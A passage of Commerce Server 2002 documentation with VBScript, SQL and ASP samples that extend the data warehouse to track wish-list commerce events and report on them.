    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "TaskID"
    strChildMem         = "TaskID"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Creating the key definition for this aggregate, this is going to
    '-- be consisted of all the dimension members.

    strKeyDefName = strAggClassName + "Key"
    CreateKeyDef objConn, strAggClassName, strKeyDefName

    strMemDefName = "DateID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 0
    strMemDefName = "SiteID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 1
    strMemDefName = "TaskHistoryID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 2
    strMemDefName = "loguserID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 3
    strMemDefName = "uriID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 4

End Sub

'-------------------------------------------------------------------------
'  Procedure : CreateClassDef
'  Parameters : objConn
'               strClsDef - name of classdef to be created
'               strCatalog - catalog in which we want to create
'               strSrcDef - source definition name
'               strBaseClsName - this is useful for aggregations
'                               simple classes can pass ""
'               bGenKeyDef = true - generate key definition automatically
'   Notes : The Schema change mode should have been set to true prior to
'               calling this function
'
'-------------------------------------------------------------------------
Sub CreateClassDef(objConn, strClsDef, strCatalog, strSrcDef, strBaseClsName, bGenKeyDef)

    WScript.Echo "DBG: Class : " & strClsDef
    Dim rec
    Set rec = CreateObject("ADODB.Record.2.5")

    rec.Open "Class/" & strClsDef, objConn, 3, adCreateOverwrite
    rec("IsPersistent") = 1
    rec("ClassDefName") = strClsDef
    rec("SourceDefName") = strSrcDef
    rec("GeneratePartitionDef") = 1
    rec("GenerateTableDef") = 1
    If bGenKeyDef Then
       rec("GenerateKeyDef") = 1
    Else
       rec("GenerateKeyDef") = 0

    End If

    'to create an aggregate class --
    If strBaseClsName <> "" Then
       rec("BaseClassName") = strBaseClsName
    End If
    rec("GenerateIdentity") = 1
    rec("__Commit") = 1
    rec.Fields.Update
    rec.Close

End Sub

'-------------------------------------------------------------------------
'  Procedure  : CreateMemberDef
'  Purpose : Utility to create members
'  Parameters : objConn
'                strClsDef - name of classdef
'                strMemDef - name of member
'                strMemDefType - type of the memberdef
'                lMemFlags - MemberDef Creation flags
'
'  Notes : User should to set the schema mode to updatable and reset
'           after the member is created.
'-------------------------------------------------------------------------
Sub CreateMemberDef(objConn, strClsDef, strMemDef, strMemDefType ,  lMemFlags ,  strDefVal,strAggrExp, isPersistent)
Dim rec
' On Error Resume Next
    WScript.Echo "DBG: Mem : " & strMemDef
    set rec = CreateObject("ADODB.Record.2.5")
    rec.Open "Member/" & strClsDef & "/" & strMemDef, objConn, adModeReadWrite, adCreateOverwrite
    rec("MemberDefName") = strMemDef
    If (lMemFlags And fGenerateColDef) > 0 Then  'default case
        rec("GenerateColumnDef") = 1
    End If

    If (lMemFlags And fPrimaryKey) > 0 Then
        rec("IsPrimaryKey") = 1
    End If
    If (lMemFlags And fMultiValued) > 0 Then
        rec("IsMultiValued") = 1
    End If
    If (lMemFlags And fHasDefaultVal) > 0 Then
        rec("DefaultValueAsStr") = strDefVal
    End If
    If (lMemFlags And fIsUniqueKey) > 0 Then
        rec("IsUniqueKey") = 1
    End If
    If (lMemFlags And fIsIdentityMember) > 0 Then
        rec("IsIsIdentityMember") = 1
    End If

    If isPersistent Then
       rec("isPersistent") = 1
    Else
       rec("isPersistent") = 0
    End If

   'member aggregate - then set the aggregate expression
   'if (lMemFlags And fHasAggrExp) > 0 then
   '      rec("ExpressionStr") = strAggrExp
   'End if

   if (lMemFlags And fIsDimension) > 0 then
      rec("IsDimension") =1
      rec("ExpressionStr") = strAggrExp
   End if
   if (lMemFlags And fIsMeasure ) > 0 then
      rec("IsMeasure") = 1
      rec("ExpressionStr") = strAggrExp
   End if

    rec("TypeName") = strMemDefType
    rec("__Commit") = 1
    rec.Fields.Update

    rec.Close

End Sub

'-------------------------------------------------------------------------
'  Procedure  :  CreateRelationDef
'  Purpose : create a  Relation Definitin
'  Notes :  The classes Parent and child referred to must exist. The
'           Keydefinition for the parent must exist (1-M)
'
'-------------------------------------------------------------------------
 Sub CreateRelDef(objConn , strRelName , strClsParent , strClsChild , _
        strKeyParent , iRelType )
 Dim rec
 'On Error Resume Next
    WScript.Echo "DBG: Rel : " & strRelName
   set rec = CreateObject("ADODB.Record")
    rec.Open "Relation/" & strRelName, objConn, adModeWrite, _
        adCreateOverwrite
    rec("ParentClassName") = strClsParent
    rec("ParentClasskey") = strKeyParent
    rec("ChildClassName") = strClsChild
    rec("RelType") = iRelType
    rec("__Commit") = 1
    rec.Fields.Update

    rec.Close
    Set rec = Nothing

End Sub

'-------------------------------------------------------------------------
'  Procedure : CreateRelMemDef
'  Purpose : Create a Relation Member Definition : Associate key member in
'            parent with another member in child, similar to a foreign
'            key.
'            strParentKeyMem - key of the parent
'             strChildMem - member which is same type as parent, which
'               serves as foreign key in the child
'
'-------------------------------------------------------------------------
Sub CreateRelMemDef( objConn, strRelName, strParentKeyMem, strChildMem )
Dim rec
'On Error Resume Next
   set rec = CreateObject("ADODB.Record")
   rec.Open "RelMember/" & strRelName &"/" & strParentKeyMem & "/" & _
      strChildMem, objConn, adModeReadWrite, adCreateOverwrite
   rec("ChildMemName") =  strChildMem
   rec("ParentMemName") = strParentKeyMem
   rec("__Commit") = 1
   rec.Fields.Update
   rec.Close
End Sub

'-----------------------------------------------------------------------
'  Procedure : CreateKeyDef
'  Purpose : Create a key definition
'  Notes : Can create a keydefinition only if the ClassDef has been
'          created with
'           GenerateKeyDef = 0
'          Schema change mode should be enabled prior to calling this
'          function.
'------------------------------------------------------------------------
Sub CreateKeyDef( objConn, strClsDef, strKeyDefName)
Dim rec
'On Error Resume Next
set rec = CreateObject("ADODB.Record")
   rec.Open "Key/" & strKeyDefName,objConn, adModeReadWrite, adCreateOverwrite
   rec("ClassDefName") = strClsDef
   rec("__Commit") = 1
   rec.Fields.Update
   rec.Close
End sub

'-----------------------------------------------------------------------
'  Procedure : CreateKeyMemberDef
'  Purpose : Create a key definition
'  Notes : Can create a keydefinition only if the ClassDef has been
'          created with
'           GenerateKeyDef = 0
'------------------------------------------------------------------------
Sub CreateKeyMemberDef( objConn,  strKeyDefName, strMemDefName, iOrdinalPosInKey)
Dim rec
'On Error Resume Next
set rec = CreateObject("ADODB.Record")
   rec.Open "KeyMember/" & strKeyDefName & "/" & strMemDefName ,objConn, adModeReadWrite, adCreateOverwrite
   rec("KeyDefName")    = strKeyDefName
   rec("MemDefName") = strMemDefName
   rec("OrdinalPosInKey") = iOrdinalPosInKey
   rec("__Commit") = 1
   rec.Fields.Update
   rec.Close
End sub
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Extending Commerce Events

Microsoft Internet Information Services (IIS) log files track three types of commerce events by default when a Commerce Server Solution Site has been installed: campaign events, basket events, and order events. These three events are sufficient for tracking the site functionality included in the Solution Sites; however, if you extend your site functionality you might require additional events to track the new functionality. The sample described in this section extends the Data Warehouse to capture commerce events associated with a wish list, or registry, from which customers will add and remove items. The sample walks you through the creation of a new wish list class in the Data Warehouse, updating the CommerceEvent table to properly recognize wish list events, and then marking them appropriately in the log file. The new events can then be tracked in a report created by using either an SQL query or a new cube and an OLAP report.

The code in this sample is specific to the wish list scenario for the Retail or Retail2002 solution site, but the process for adding an event for any scenario is exactly the same. The code samples simply need to be customized to match your particular situation. The Commerce Server Retail Solution Site is available at http://go.microsoft.com/fwlink/?linkid=6491. The Retail2002 - International Retail Site is available in the Commerce Server 2002 SDK at <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002.

This section contains:

  • Creating a Custom Commerce Event
  • Reporting on a Custom Commerce Event


Creating a Custom Commerce Event

This section of the sample creates a new wish list class in the Data Warehouse and extends the Data Warehouse CommerceEvent table to include wish list events. This sample works with both the Retail and Supplier Solution Sites.

Note

  • In this sample, before you can extend the Data Warehouse, you must have the Retail Solution Site or the Retail2002 – International Retail Site and a Data Warehouse installed on your computer.
  • Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.
  • The Retail2002 – International Retail Site is available in the Commerce Server 2002 SDK at <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002.

To back up the original Data Warehouse schema

To create the Wishlist class

To extend the CommerceEvent table in the Data Warehouse

To back up the original Data Warehouse schema

It is highly recommended that you back up your current Data Warehouse schema before extending it. If you encounter difficulties extending the schema you can replace the altered Data Warehouse schema with the original schema to roll back changes. If you do not wish to create a backup of your original schema, go to To create the Wishlist class.

  1. Click Start, point to Programs, point to Accessories, and then click Windows Explorer.
  2. Navigate to the location where you want to create the new folder that will contain all the files used in this sample and back up copies of the files that will be modified. Then on the File menu, point to New, and then click Folder.
  3. Name the new folder Wishlist.
  4. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  5. In the Component Services dialog box, on the Tree tab, click Services (Local).
  6. In the Services(Local) screen, right-click MSSQLSERVER, and click Stop.

    If the Stop Other Services dialog box appears, alerting you that if MSSQLSERVER is stopped, SQLSERVERAGENT is stopped as well, click Yes to stop both services.

  7. In Windows Explorer, navigate to the folder containing the .ldf and .mdf files for the site that will be extended. For example, <drive letter>:\Program Files\Microsoft SQL Server\MSSQL\Data.
  8. While pressing CTRL, select the following files: Sitename_commerce.mdf, Sitename_commerce_log.LDF, Sitename_dw.mdf, Sitename_dw_log.LDF, master.mdf, and mastlog.ldf, where Sitename is the name of the site that will enable the new commerce events.
  9. On the File menu, click Copy.
  10. Navigate to the Wishlist folder.
  11. On the File menu, click Paste.

    You now have backup copies of your original schema. If you choose not to keep changes made in the rest of this sample, you can replace changed versions with the original versions stored in the Wishlist folder.

  12. On the File menu, click Close.
  13. In the Component Services dialog box, in the Services section, right-click MSSQLSERVER, and then click Start. SQL Server is restarted.
  14. In the Services section, right click MSSQLSERVER, and click Start. SQL Server is restarted.

    If the SQLSERVERAGENT was stopped in step 6, right-click SQLSERVERAGENT, and then click Start. SQL Server Agent is restarted.

  15. On the Console menu, click Exit.

To create the Wishlist class

  1. Click Start, point to Programs, point to Accessories, and then click Notepad.
  2. Copy the following code to the Untitled-Notepad document:
        '------------------------------------------------
    '  Creates the Wishlist01 class for use with the
    '  Extending Commerce Events sample and the
    '  Commerce Server 2002 Data Warehouse.
    '------------------------------------------------

Public Const fPrimaryKey = 1
Public Const fMultiValued = 2
Public Const fHasDefaultVal = 4
Public Const fIsRequired = 8
Public Const fIsJoinKey = 16
Public Const fDontClear = 32
Public Const fGenerateColDef = 64
Public Const fIsUniqueKey = 128
Public Const fIsIdentityMember = 256

'--- flags for clsdef
Public Const fGenerateIdentity = &H1
Public Const fGenerateTableDef = &H2
Public Const fGenerateKeyDef = &H4
Public Const fGeneratePartDef = &H8
Public Const fIsAbstract = &H10

Public Const fHasAggrExp = &H100  'member is aggregate
Public Const fIsDimension = &H1000
Public Const fIsMeasure = &H10000

Main
Sub Main()

    'Create an ADO connection object.
    Dim objConn
    Set objConn = CreateObject("ADODB.Connection.2.5")

    'Create an ADO command object.
    Dim cmdCommand
    Set cmdCommand = CreateObject("ADODB.Command.2.5")

    'Create an ADO record object.
    Dim recNew
    Set recNew = CreateObject("ADODB.Record.2.5")

    'Open a connection to the provider.
    'Modify the connection string to match your configuration. The
    'database should be set to Retail_dw for the Retail site, or
    'Retail2002_dw for the Retail2002 site. If you are not using
    'Windows Authentication, replace Trusted_Connection=Yes with your
    'username and password. Be aware that storing your password in this
    'file is a security risk.
    objConn.Open "URL=mscop://InProcConnect/Server=servername:" & _
    "Catalog=DWSchema:Database=Retail_dw: Trusted_Connection=Yes:" _
    & "FastLoad=True"

    'Set the connection in the command object.
    Set cmdCommand.ActiveConnection = objConn

    'Turn on "Schema Change" mode.
    cmdCommand.CommandText = "SchemaMode=1"
    cmdCommand.Execute

    strClsDef="WishList01"

    'Create a class.
    CreateClassDef objConn, strClsDef, "DWSchema", "test_Source", "", _
    False

    '-- MEM1 : create non key member
    lMemFlags =  fGenerateColDef +  fHasDefaultVal
    strMemDef = "Event"
    strMemDefType = "WSTR"
    strDefVal = "0"

    CreateMemberDef objConn, strClsDef, strMemDef, strMemDefType , _
    lMemFlags, strDefVal, strAggrExp

    '-- MEM1 : create non key member
    lMemFlags =  fGenerateColDef +  fHasDefaultVal
    strMemDef = "ProductNameCat"
    strMemDefType = "WSTR"
    strDefVal = "0"

    CreateMemberDef objConn, strClsDef, strMemDef, strMemDefType, _
    lMemFlags, strDefVal,strAggrExp

    lMemFlags =  fGenerateColDef +  fHasDefaultVal
    strMemDef = "ListName"
    strMemDefType = "WSTR"
    strDefVal = "0"

    CreateMemberDef objConn, strClsDef, strMemDef, strMemDefType, _
    lMemFlags ,  strDefVal,strAggrExp

    '-- MEM2 : create non key member
    lMemFlags =  fGenerateColDef +  fHasDefaultVal
    strMemDef = "Quantity"
    strMemDefType = "LONG"
    strDefVal = "0"

    CreateMemberDef objConn, strClsDef, strMemDef, strMemDefType, _
    lMemFlags, strDefVal,strAggrExp

    '-- MEM3 : create non key member
    lMemFlags =  fGenerateColDef +  fHasDefaultVal
    strMemDef = "VisitNum"
    strMemDefType = "IDENTITY"
    strDefVal = "0"

    CreateMemberDef objConn, strClsDef, strMemDef, strMemDefType, _
    lMemFlags, strDefVal,strAggrExp

    'The following members are the required for every Commerce Event.

    '-- MEM4 : create non key member
    lMemFlags =  fGenerateColDef +  fHasDefaultVal
    strMemDef = "DTimeStamp"
    strMemDefType = "FILETIME"
    strDefVal = "1900-1-1 0:0:0.0"

    CreateMemberDef objConn, strClsDef, strMemDef, strMemDefType, _
    lMemFlags, strDefVal, strAggrExp

    '-- MEM5 : create non key member
    lMemFlags =  fGenerateColDef +  fHasDefaultVal
    strMemDef = "RequestIndex"
    strMemDefType = "SHORT"
    strDefVal = "0"

    CreateMemberDef objConn, strClsDef, strMemDef, strMemDefType, _
    lMemFlags, strDefVal, strAggrExp

    '-- MEM6 : create non key member
    lMemFlags =  fGenerateColDef +  fHasDefaultVal
    strMemDef = "UriKey"
    strMemDefType = "INT64"
    strDefVal = "0"

    CreateMemberDef objConn, strClsDef, strMemDef, strMemDefType, _
    lMemFlags, strDefVal, strAggrExp

    '-- MEM7 : create non key member
    lMemFlags =  fGenerateColDef +  fHasDefaultVal
    strMemDef = "UserKey"
    strMemDefType = "INT64"
    strDefVal = "0"

    CreateMemberDef objConn, strClsDef, strMemDef, strMemDefType, _
    lMemFlags, strDefVal, strAggrExp

    strChildClassName  = strClsDef
    iRelType = 5 'indicating virtual relationship for performance
    'reasons

    '-- Rel1 : create virtual relationship to uri
    strParentClassName = "URI"
    strRelDefName      = strParentClassName & strChildClassName & "Rel"
    strParentClassKey  = strParentClassName & "Key"

    CreateRelDef objConn, strRelDefName, strParentClassName, _
    strChildClassName, strParentClassKey, iRelType

    '-- Rel2 : create virtual relationship to loguser
    strParentClassName = "LogUser"
    strRelDefName      = strParentClassName & strChildClassName & "Rel"
    strParentClassKey  = strParentClassName & "Key"

    CreateRelDef objConn, strRelDefName, strParentClassName, _
    strChildClassName, strParentClassKey, iRelType

    iRelType = 2 'indicating real relationship

    '-- Rel3 : create relationship to Registereduser
    strParentClassName = "RegisteredUser"
    strRelDefName      = strParentClassName & strChildClassName & "Rel"
    strParentClassKey  = strParentClassName & "Key"

    CreateRelDef objConn, strRelDefName, strParentClassName, _
    strChildClassName, strParentClassKey, iRelType

    '-- Rel4 : create relationship to Site
    strParentClassName = "Site"
    strRelDefName      = strParentClassName & strChildClassName & "Rel"
    strParentClassKey  = strParentClassName & "Key"

    CreateRelDef objConn, strRelDefName, strParentClassName, _
    strChildClassName, strParentClassKey, iRelType

    '-- Rel5 : create relationship to TaskHistory
    strParentClassName = "TaskHistory"
    strRelDefName      = strParentClassName & strChildClassName & "Rel"
    strParentClassKey  = strParentClassName & "Key"

    CreateRelDef objConn, strRelDefName, strParentClassName, _
    strChildClassName, strParentClassKey, iRelType

    '-- Rel6 : create relationship to Date
    'strParentClassName = "Date"
    'strRelDefName      = strParentClassName & strChildClassName & _
    '"Rel"
    'strParentClassKey  = strParentClassName & "Key"

    'CreateRelDef objConn, strRelDefName, strParentClassName, _
    'strChildClassName, strParentClassKey, iRelType

    '------------------------------------------------
    '  Commit Schema
    '------------------------------------------------
    cmdCommand.CommandText = "CommitSchema"
    cmdCommand.Execute

    'Turn on "Schema Change" mode
    cmdCommand.CommandText = "SchemaMode=0"
    cmdCommand.Execute

End Sub

'----------------------------------------------------------------------
'  Procedure : CreateClassDef
'  Parameters : objConn
'               strClsDef - name of classdef to be created
'               strCatalog - catalog in which we want to create
'               strSrcDef - source definition name
'               strBaseClsName - this is useful for aggregations
'                               simple classes can pass ""
'               bGenKeyDef = true - generate key definition
'                     automatically
'   Notes : The schema change mode should have been set to true prior
'           to calling this function.
'
'----------------------------------------------------------------------
Sub CreateClassDef(objConn, strClsDef, strCatalog, strSrcDef, _
    strBaseClsName, bGenKeyDef)

    WScript.Echo "DBG: Class : " & strClsDef
    Dim rec
    Set rec = CreateObject("ADODB.Record.2.5")

    rec.Open "Class/" & strClsDef, objConn, 3, adCreateOverwrite
    rec("IsPersistent") = 1
    rec("ClassDefName") = strClsDef
    rec("SourceDefName") = strSrcDef
    rec("GeneratePartitionDef") = 1
    rec("GenerateTableDef") = 1
    If bGenKeyDef Then
       rec("GenerateKeyDef") = 1
    Else
       rec("GenerateKeyDef") = 0

    End If

    'to create an aggregate class --
    If strBaseClsName <> "" Then
       rec("BaseClassName") = strBaseClsName
    End If
    rec("GenerateIdentity") = 1
    rec("__Commit") = 1
    rec.Fields.Update
    rec.Close

End Sub

'----------------------------------------------------------------------
'  Procedure  : CreateMemberDef
'  Purpose : Utility to create members
'  Parameters : objConn
'               strClsDef - name of classdef
'               strMemDef - name of member
'               strMemDefType - type of the memberdef
'               lMemFlags - MemberDef Creation flags
'
'  Notes : User is supposed to set the schema mode to updatable and
'          reset after the member is created.
'----------------------------------------------------------------------
Sub CreateMemberDef(objConn, strClsDef, strMemDef, strMemDefType, _
    lMemFlags ,  strDefVal,strAggrExp )
Dim rec
' On Error Resume Next
    WScript.Echo "DBG: Mem : " & strMemDef
    set rec = CreateObject("ADODB.Record.2.5")
    rec.Open "Member/" & strClsDef & "/" & strMemDef, objConn, _
        adModeReadWrite, adCreateOverwrite
    rec("MemberDefName") = strMemDef
    If (lMemFlags And fGenerateColDef) > 0 Then  'default case
        rec("GenerateColumnDef") = 1
    End If

    If (lMemFlags And fPrimaryKey) > 0 Then
        rec("IsPrimaryKey") = 1
    End If
    If (lMemFlags And fMultiValued) > 0 Then
        rec("IsMultiValued") = 1
    End If
    If (lMemFlags And fHasDefaultVal) > 0 Then
        rec("DefaultValueAsStr") = strDefVal
    End If
    If (lMemFlags And fIsUniqueKey) > 0 Then
        rec("IsUniqueKey") = 1
    End If
    If (lMemFlags And fIsIdentityMember) > 0 Then
        rec("IsIsIdentityMember") = 1
    End If

'Aggregate member, then set the aggregate expressions.
if (lMemFlags And fHasAggrExp) > 0 then
         rec("ExpressionStr") = strAggrExp
End if
if (lMemFlags And fIsDimension) > 0 then
rec("IsDimension") =1
End if
if (lMemFlags And fIsMeasure ) > 0 then
rec("IsMeasure") = 1
End if

    rec("TypeName") = strMemDefType
    rec("__Commit") = 1
    rec.Fields.Update

    rec.Close

End Sub

'----------------------------------------------------------------------
'  Procedure:    CreateRelationDef
'  Purpose:      Create a  Relation Definition
'  Notes :       The classes that the parent and child referred to must
'                exist. The Keydefinition for the parent must exist
'                (1-M).
'
'----------------------------------------------------------------------
 Sub CreateRelDef(objConn, strRelName, strClsParent, strClsChild, _
     strKeyParent, iRelType)
 Dim rec
 'On Error Resume Next
    WScript.Echo "DBG: Rel : " & strRelName
        set rec = CreateObject("ADODB.Record")
    rec.Open "Relation/" & strRelName, objConn, adModeWrite, _
        adCreateOverwrite
    rec("ParentClassName") = strClsParent
    rec("ParentClasskey") = strKeyParent
    rec("ChildClassName") = strClsChild
    rec("RelType") = iRelType
    rec("__Commit") = 1
    rec.Fields.Update

    rec.Close
    Set rec = Nothing

End Sub
  3. Modify the connection string on line 50 as appropriate. See the comments above line 50 for detailed information.
  4. If you are using the Retail2002 site, or a site other than the Retail Solution site, replace all instances of Retail_dw with Retail2002_dw, or the name of your Data Warehouse database.
  5. In Notepad, on the File menu, click Save As.
  6. In the Save As dialog box, in the Save in box, navigate to the Wishlist folder. In the Filename box, type wishlist_class.vbs, and then click Save.
  7. On the File menu, click Exit.
  8. Click Start, and then click Run.
  9. In the Run dialog box, in the Open box, type "<drive>:\Program Files\Microsoft Commerce Server 2002\CSDWDbgSrv.exe" -f traceoutput, and then click OK.

    CSDWDbgSrv.exe is a utility that ships with Commerce Server 2002 that allows you to see trace output from the OLE DB Provider for Commerce Server. Appending –f traceoutput to the file name will log all output to a file with a timestamp appended to the log file name. It is recommended that you use CSDWDbgSrv.exe whenever you modify the OLE DB schema.

  10. To open an additional command prompt window, click Start, point to Programs, point to Accessories, and then click Command Prompt.
  11. In the Command Prompt window, navigate to the Wishlist folder.
  12. To extend the Data Warehouse schema and run the Visual Basic Scripting Edition (VBScript) file you just created, at the command prompt, type cscript wishlist_class.vbs.
  13. When wishlist_class.vbs completes successfully, the command prompt window will display the following:
    DBG: Class : Wishlist01
DBG: Mem : Event
DBG: Mem : ProductNameCat
DBG: Mem : ListName
DBG: Mem : Quantity
DBG: Mem : VisitNum
DBG: Mem : DTimeStamp
DBG: Mem: RequestIndex
DBG: Mem : UriKey
DBG: Mem : UserKey
DBG: Rel : URIWishlist01Rel
DBG: Rel : LogUserWishlist01Rel
DBG: Rel : RegisteredUserWishlist01Rel
DBG: Rel : SiteWishlist01Rel
DBG: Rel : TaskHistoryWishlist01Rel
  14. Close both command prompt windows.

To extend the CommerceEvent table in the Data Warehouse

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Query Analyzer.
  2. In the Connect to SQL Server dialog box, do the following:
    Use this | To do this
    SQL Server | Type the name of the server in which the Data Warehouse resides.
    Connect Using | Select the type of authentication the SQL Server computer uses.
    Login name | Use only for SQL Server authentication. Type the SQL Server login name.
    Password | Use only for SQL Server authentication. Type the SQL Server password.
  3. In SQL Query Analyzer, select the Data Warehouse for the site from the database drop-down list.
  4. To view the current contents of the CommerceEvent table in the Data Warehouse, in the Editor screen, type select * from commerceevent, and then click Execute icon on the toolbar.

    The CommerceEvent table is shown on the Grid tab of the Results screen.

  5. Delete the previous query by selecting the current contents of the Editor screen and press DELETE on the keyboard.
  6. To update the CommerceEvent table so that it will send the specially formatted strings and import them into the Wishlist class created in To create the Wishlist class, copy the following code into SQL Query Analyzer:
    INSERT INTO [Retail_dw].[dbo].[CommerceEvent]([CommerceEventID], [CommerceEventClassName], [CommerceEventInternalFlag], [CommerceEventMemberName], [StorageClassName], [StorageMemberName])
VALUES(0x000000001000, 'WISH', 0, 'EVT', 'WishList01', 'Event')
INSERT INTO [Retail_dw].[dbo].[CommerceEvent]([CommerceEventID], [CommerceEventClassName], [CommerceEventInternalFlag], [CommerceEventMemberName], [StorageClassName], [StorageMemberName])
VALUES(0x000000001001, 'WISH', 0, 'PRID', 'WishList01', 'ProductNameCat')
INSERT INTO [Retail_dw].[dbo].[CommerceEvent]([CommerceEventID], [CommerceEventClassName], [CommerceEventInternalFlag], [CommerceEventMemberName], [StorageClassName], [StorageMemberName])
VALUES(0x000000001002, 'WISH', 0, 'QTY', 'WishList01', 'Quantity')
INSERT INTO [Retail_dw].[dbo].[CommerceEvent]([CommerceEventID], [CommerceEventClassName], [CommerceEventInternalFlag], [CommerceEventMemberName], [StorageClassName], [StorageMemberName])
VALUES(0x000000001003, 'WISH', 0, 'LN', 'WishList01', 'ListName')
  7. If you are using a site other than the Retail Solution site, replace all instances of Retail_dw with Retail2002_dw, or the name of your Data Warehouse database.
  8. Click Execute on the toolbar.

    The Messages tab in the Results screen shows the following message, indicating that the schema changes have completed:

    (1 row(s) affected)

    (1 row(s) affected)

    (1 row(s) affected)

    (1 row(s) affected)

  9. Select the current contents of the Editor screen and press DELETE on the keyboard.
  10. To view the new wishlist events in the CommerceEvent table, in the Editor screen type select * from commerceevent where commerceeventclassname = 'wish';.
  11. Click Execute on the toolbar.

    The new wishlist events appear on the Grid tab of the Results screen.

To add a new event type description

  1. To view the current contents of the EventsDimensionView, in the Editor screen, type select * from EventsDimensionView, and then click Execute icon on the toolbar.

    The EventsDimensionView is shown on the Grid tab of the Results screen.

  2. Select the current contents of the Editor screen and press DELETE on the keyboard.
  3. In the Editor screen, type drop view EventsDimensionView go.
  4. Click Start, point to Programs, point to Administrative Tools, and then click Commerce Server Manager.
  5. In Commerce Server Manager, expand the Microsoft SQL Servers node, expand the SQL Server Group node, expand the node for the local server, expand Databases, expand the node for the site containing the new event, and then click Views.
  6. In the Commerce Server Manager content pane, double-click EventsDimensionView.
  7. In the View Properties - EventsDimensionView dialog box, select all of the text in the content window, and then press CTRL+C on the keyboard to copy the text.
  8. In the Editor screen of SQL Query Analyzer, press CTRL+V on the keyboard to paste the contents of the notepad into the Editor screen.
  9. Add the new event description to the list of event descriptions. This requires modifying the CASE statement within the EventsDimensionView to return a display string for the new event types.

    In the following example the descriptions “Add to Wishlist” and "Remove from Wishlist" are added to the default set of recognized event types.

    drop view EventsDimensionView
go
create view EventsDimensionView as select [EventTypeID], [EventName], [EventDescription] =
case EventName  When 'AIBSK' then N'Add Item'
When 'RIBSK' then N'Remove Item'
when 'REQUEST' then N'Request'
when 'Click' then N'Click'
when 'Download' then N'Download'
when 'SUBOR' then N'Submit Order'
when 'SOLD' then N'Sold'
when 'ADDTOLIST' then N'Add to Wishlist'
when 'DROPFROMLIST' then N'Drop from Wishlist'
when 'Unknown' then N'Unknown'
Else isnull([EventDescription],[EventName]) end from eventtype
  10. Place paragraph break marks after EventsDimensionView and go, as done in the example above.
  11. Click Execute on the toolbar.

    The Messages tab of the Results screen shows the following message, indicating that the schema changes have completed:

    The command(s) completed successfully.

  12. On the File menu of SQL Query Analyzer, click Exit.
  13. In the View Properties – EventsDimensionView dialog box, click Cancel.
  14. On the Console menu of the Commerce Server Manager window, click Exit.

See Also

Extending the Data Warehouse Logical Schema


Reporting on a Custom Commerce Event

A report for commerce events can be created through Commerce Server Business Desk by using a new cube or an SQL query. But before you can create reports for the new commerce event, you must have wishlist event data in your log files to import into the Data Warehouse. The process of adding the wish list user interface and updating ASP pages is left to the user. If you have not added the wish list functionality to your Web site, you can use the sample log files included in the procedures to see how the process will work when your site has wish list functionality in place for users.

To generate sample log file data for the Retail Solution Site

To generate sample log file data for the Retail2002 - International Retail Site

To make the current log file available for reports

To create a Custom Commerce Event report based on an SQL query

To create a Custom Commerce Event report based on an OLAP cube

Note

  • If you are using the Retail2002 site, or if your site is based on ASP.NET, skip to the To generate sample log file data for the Retail2002 – International Retail Site topic.

To generate sample log file data for the Retail Solution Site

  1. Click Start, point to Programs, point to Accessories, and then click Notepad.
  2. In Notepad, paste the following code:
    <%
 'An array of Commerce Events to log.
 g_rgEvents = Array( _
   "CEVT={T=WISH,EVT=ADDTOLIST,PRID=""Bike"",QTY=""1"",LN=""Wife""}", _
   "CEVT={T=WISH,EVT=ADDTOLIST,PRID=""HolidayCD"",QTY=""1""," + _
   "LN=""Holidays""}", _
   "CEVT={T=WISH,EVT=ADDTOLIST,PRID=""Printer"",QTY=""1""," + _
   "LN=""Wife""}", _
   "CEVT={T=WISH,EVT=DROPFROMLIST,PRID=""Printer"",QTY=""1""," + _
   "LN=""Wife""}", _
   "CEVT={T=WISH,EVT=ADDTOLIST,PRID=""JazzCD"",QTY=""1""," + _
   "LN=""Brother""}", _
   "CEVT={T=WISH,EVT=DROPFROMLIST,PRID=""StonewashedJeans""," + _
"QTY=""1"",LN=""Kid""}" _
   )

 'Determine if the request involves adding a new event to the log file
 If (Not vbNullString = Request.QueryString("Event")) Then
    sEventID = CLng(Request.QueryString("Event"))

   'Make sure the requested event is available
   If (Not sEventID > UBound(g_rgEvents)) Then

      'Log the event
      Call Response.AppendToLog("&")
      Call Response.AppendToLog(g_rgEvents(sEventID))

      'Get the event data to display on the page
      sEventData = g_rgEvents(sEventID)
    End If
 End If
%>

<html>
<head>
<title>Extending Commerce Events</title>
</head>

<body>

<%
 'Dynamically render a collection of links for logging different
 'Commerce Events to the IIS log file. Note that this is required
 'because each call to Response.AppendToLog() will only log the data on
 'a single line associated with the current GET request.
 For itr = 0 to UBound(g_rgEvents)
   Call Response.Write("<a href=""SampleEventData.asp?Event=" _
& CStr(itr) & """>Log Commerce Event " & CStr(itr) & "</a><br/>")
 Next
%>

Commerce Event logged: <b><%= sEventData %></b>

</body>
</html>
  3. On the File menu, click Save As.
  4. In the Save As dialog box, in the Save In box, navigate to the root drive of your Web site, for example C:/Inetpub/wwwroot/retail, type SampleEventData.asp, and then click Save.
  5. On the File menu, click Exit.
  6. Click Start, point to Programs, and then click Internet Explorer.
  7. Navigate to the SampleEventData.asp page, for example, http://localhost/retail/SampleEventData.asp.
  8. To add each event to the log file, click each Log Commerce Event link on the page. Add as many events to the log file as you want. Adding more events to the log file means there will be more events to report on later. You can add multiple instances of the same event.

    To view the log file in which the event information was stored, open the log file for the appropriate day from the log file directory, for example, C:\WINNT\system32\LogFiles\W3SVC1.

  9. To close Internet Explorer, on the File menu, click Close.

Note

  • If you are using the Retail Solution Site, or if your site is based on ASP and not ASP.NET, skip to the To make the current log file available for reports topic.

To generate sample log file data for the Retail2002 - International Retail Site

